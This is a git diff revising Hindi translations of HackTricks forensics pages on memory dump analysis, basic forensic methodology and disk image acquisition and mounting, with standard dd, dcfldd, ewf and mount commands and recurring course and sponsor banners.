{% endhint %}
## विभिन्न फाइल सिस्टम संस्करणों की तुलना करें
@ -397,7 +397,7 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **फिल्टर विकल्प** (`--diff-filter`) विशिष्ट परिवर्तनों जैसे जोड़े गए (`A`), हटाए गए (`D`), या संशोधित (`M`) फ़ाइलों तक संकीर्ण करने में मदद करते हैं।
* **फिल्टर विकल्प** (`--diff-filter`) विशिष्ट परिवर्तनों जैसे जोड़े गए (`A`), हटाए गए (`D`), या संशोधित (`M`) फ़ाइलों तक सीमित करने में मदद करते हैं।
* `A`: जोड़ी गई फ़ाइलें
* `C`: कॉपी की गई फ़ाइलें
* `D`: हटाई गई फ़ाइलें
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **पुस्तक: Linux Systems के लिए Malware Forensics Field Guide: Digital Forensics Field Guides**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** के लिए पहुंच प्राप्त करना चाहते हैं? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर **फॉलो करें** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\
आज ही पहुंच प्राप्त करें:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,69 +1,73 @@
# मेमोरी डंप विश्लेषण
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें** [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान मिलने का समारोह है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
## शुरुआत
## प्रारंभ
पीकैप के अंदर **मैलवेयर** खोजना शुरू करें। [**मैलवेयर विश्लेषण**](../malware-analysis.md) में उल्लिखित **उपकरणों** का उपयोग करें।
**pcap** के अंदर **malware** के लिए **खोज** करना शुरू करें। [**Malware Analysis**](../malware-analysis.md) में उल्लेखित **tools** का उपयोग करें।
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatility मेमोरी डंप विश्लेषण के लिए मुख्य ओपन-सोर्स फ्रेमवर्क है**। यह Python टूल बाह्य स्रोतों या VMware VMs से डंप का विश्लेषण करता है, जिसमें डंप के ओएस प्रोफ़ाइल के आधार पर प्रक्रियाएँ और पासवर्ड जैसे डेटा की पहचान करता है। यह प्लगइन के साथ विस्तारणयोग्य है, जिससे यह फोरेंसिक जांचों के लिए बहुत उपयुक्त है।
**Volatility मेमोरी डंप विश्लेषण के लिए मुख्य ओपन-सोर्स ढांचा है**। यह Python उपकरण बाहरी स्रोतों या VMware VMs से डंप का विश्लेषण करता है, डंप के OS प्रोफ़ाइल के आधार पर प्रक्रियाओं और पासवर्ड जैसे डेटा की पहचान करता है। यह प्लगइन्स के साथ विस्तारित किया जा सकता है, जिससे यह फोरेंसिक जांच के लिए अत्यधिक बहुपरकारी बनता है।
**[यहाँ एक cheatsheet पाएं](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## मिनी डंप क्रैश रिपोर्ट
जब डंप छोटा होता है (कुछ KB, शायद कुछ MB) तो यह शायद एक मिनी डंप क्रैश रिपोर्ट होता है और मेमोरी डंप नहीं।
जब डंप छोटा होता है (केवल कुछ KB, शायद कुछ MB) तो यह शायद एक मिनी डंप क्रैश रिपोर्ट है और मेमोरी डंप नहीं है
![](<../../../.gitbook/assets/image (216).png>)
अगर आपके पास विजुअल स्टूडियो इंस्टॉल किया है, तो आप इस फ़ाइल को खोल सकते हैं और कुछ मूल जानकारी जैसे प्रक्रिया का नाम, वास्तुकला, असामान्य जानकारी और मॉड्यूल जो कार्यान्वित हो रहे हैं, बाँध सकते हैं:
यदि आपके पास Visual Studio स्थापित है, तो आप इस फ़ाइल को खोल सकते हैं और प्रक्रिया का नाम, आर्किटेक्चर, अपवाद जानकारी और निष्पादित हो रहे मॉड्यूल जैसी कुछ बुनियादी जानकारी बाइंड कर सकते हैं:
![](<../../../.gitbook/assets/image (217).png>)
आप असामान्यता भी लोड कर सकते हैं और डीकंपाइल की गई निर्देशिकाएँ देख सकते हैं
आप अपवाद को भी लोड कर सकते हैं और डिकंपाइल की गई निर्देशों को देख सकते हैं
![](<../../../.gitbook/assets/image (219).png>)
![](<../../../.gitbook/assets/image (218) (1).png>)
वैसे, विजुअल स्टूडियो डंप की गहराई का विश्लेषण करने के लिए सर्वश्रेष्ठ उपकरण नहीं है।
वैसे भी, Visual Studio डंप के गहरे विश्लेषण के लिए सबसे अच्छा उपकरण नहीं है।
आपको इसे **IDA** या **Radare** का उपयोग करके गहराई से जांचने की चाहिए।
आपको इसे **IDA** या **Radare** का उपयोग करके **गहराई** से निरीक्षण करना चाहिए।
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान मिलने का समारोह है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें** [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,40 +1,43 @@
# मूल फोरेंसिक मेथडोलॉजी
# Basic Forensic Methodology
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## छवि बनाना और माउंट करना
## Creating and Mounting an Image
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
{% endcontent-ref %}
## मैलवेयर विश्लेषण
## Malware Analysis
यह **आवश्यक नहीं है कि आप छवि के साथ एक बार यह करने के लिए पहला कदम उठाएं**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का उपयोग अलग-अलग तरीके से कर सकते हैं यदि आपके पास एक फ़ाइल, एक फ़ाइल-सिस्टम छवि, मेमोरी छवि, पीकैप... है, तो यह **कार्रवाई ध्यान में रखना अच्छा है**:
यह **छवि प्राप्त करने के बाद पहला कदम नहीं है**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का स्वतंत्र रूप से उपयोग कर सकते हैं यदि आपके पास एक फ़ाइल, फ़ाइल-प्रणाली छवि, मेमोरी छवि, pcap... है, इसलिए यह **इन क्रियाओं को ध्यान में रखना अच्छा है**:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## छवि की जांच
## Inspecting an Image
यदि आपको एक उपकरण की **फोरेंसिक छवि** दी गई है तो आप **विभाजनों, फ़ाइल-सिस्टम** का उपयोग करना शुरू कर सकते हैं और पोटेंशियली **दिलचस्प फ़ाइलें पुनः प्राप्त** कर सकते हैं (हालांकि हटाई गई भी)। इसे सीखने के लिए:
यदि आपको एक **फोरेंसिक इमेज** दी जाती है, तो आप **पार्टीशनों, फ़ाइल-प्रणाली** का विश्लेषण करना शुरू कर सकते हैं और **संभावित रूप से** **दिलचस्प फ़ाइलों** (यहां तक कि हटाई गई फ़ाइलों) को **पुनर्प्राप्त** कर सकते हैं। जानें कैसे:
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
{% endcontent-ref %}
उपयोग किए गए ओएस और प्लेटफ़ॉर्म के आधार पर विभिन्न दिलचस्प आर्टिफैक्ट्स खोजने चाहिए:
उपयोग किए गए OSs और यहां तक कि प्लेटफ़ॉर्म के आधार पर विभिन्न दिलचस्प कलाकृतियों की खोज की जानी चाहिए:
{% content-ref url="windows-forensics/" %}
[windows-forensics](windows-forensics/)
@ -48,55 +51,58 @@
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## विशेष फ़ाइल-प्रकार और सॉफ़्टवेयर की गहन जांच
## Deep inspection of specific file-types and Software
यदि आपके पास बहुत **संदेहास्पद फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** पर निर्भर करता है कि कौन से **ट्रिक्स** उपयोगी हो सकते हैं।\
कुछ दिलचस्प ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ पढ़ें:
यदि आपके पास बहुत **संदिग्ध** **फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** के आधार पर जो इसे बनाया है, कई **ट्रिक्स** उपयोगी हो सकते हैं।\
कुछ दिलचस्प ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ पढ़ें:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
मैं विशेष रूप से पृष्ठ का उल्लेख करना चाहता हू:
मैं पृष्ठ का विशेष उल्लेख करना चाहता हू:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
{% endcontent-ref %}
## मेमोरी डंप जांच
## Memory Dump Inspection
{% content-ref url="memory-dump-analysis/" %}
[memory-dump-analysis](memory-dump-analysis/)
{% endcontent-ref %}
## Pcap जांच
## Pcap Inspection
{% content-ref url="pcap-inspection/" %}
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **एंटी-फोरेंसिक तकनीकें**
## **Anti-Forensic Techniques**
एंटी-फोरेंसिक तकनीकों का संभावित उपयोग ध्यान में रखें:
संभावित एंटी-फोरेंसिक तकनीकों के उपयोग को ध्यान में रखें:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
{% endcontent-ref %}
## धमकी हंटिंग
## Threat Hunting
{% content-ref url="file-integrity-monitoring.md" %}
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,43 +1,46 @@
# छवि प्राप्ति और माउंट
# Image Acquisition & Mount
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## प्राप्ति
## अधिग्रहण
### DD
```bash
#This will generate a raw copy of the disk
dd if=/dev/sdb of=disk.img
```
### डीसीएफएलडी
### dcfldd
```bash
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### FTK इमेजर
### FTK Imager
आप यहाँ से [**FTK इमेजर डाउनलोड कर सकते हैं**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)
आप [**यहां से FTK इमेजर डाउनलोड कर सकते हैं**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
```
### EWF
आप **ewf tools** का उपयोग करके एक डिस्क छवि उत्पन्न कर सकते हैं। [**ewf tools**](https://github.com/libyal/libewf)।
आप [**ewf tools**](https://github.com/libyal/libewf) का उपयोग करके एक डिस्क इमेज उत्पन्न कर सकते हैं
```bash
ewfacquire /dev/sdb
#Name: evidence
@ -54,11 +57,11 @@ ewfacquire /dev/sdb
#Then use default values
#It will generate the disk image in the current directory
```
## माउंट
## Mount
### कई प्रकार
### Several types
**Windows** में आप फ्री संस्करण का उपयोग कर सकते हैं Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) क**फोरेंसिक्स इमेज को माउंट** करने के लिए।
In **Windows** आप Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) का मुफ्त संस्करण **फॉरेंसिक इमेज** को **माउंट** करने के लिए आजमा सकते हैं
### Raw
```bash
@ -70,6 +73,8 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
mount evidence.img /mnt
```
### EWF
EWF (Expert Witness Format) एक फॉरेंसिक इमेज फॉर्मेट है जो डिजिटल साक्ष्यों को सुरक्षित रूप से संग्रहित करने के लिए उपयोग किया जाता है। यह फॉर्मेट डेटा की अखंडता को बनाए रखने में मदद करता है और इसे विभिन्न फॉरेंसिक टूल्स द्वारा पढ़ा जा सकता है। EWF फाइलें आमतौर पर .E01 एक्सटेंशन के साथ होती हैं और इनमें डेटा, मेटाडेटा और एक चेकसम शामिल होता है।
```bash
#Get file type
file evidence.E01
@ -84,14 +89,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be
#Mount
mount output/ewf1 -o ro,norecovery /mnt
```
### आर्सेनल इमेज माउंटर
### ArsenalImageMounter
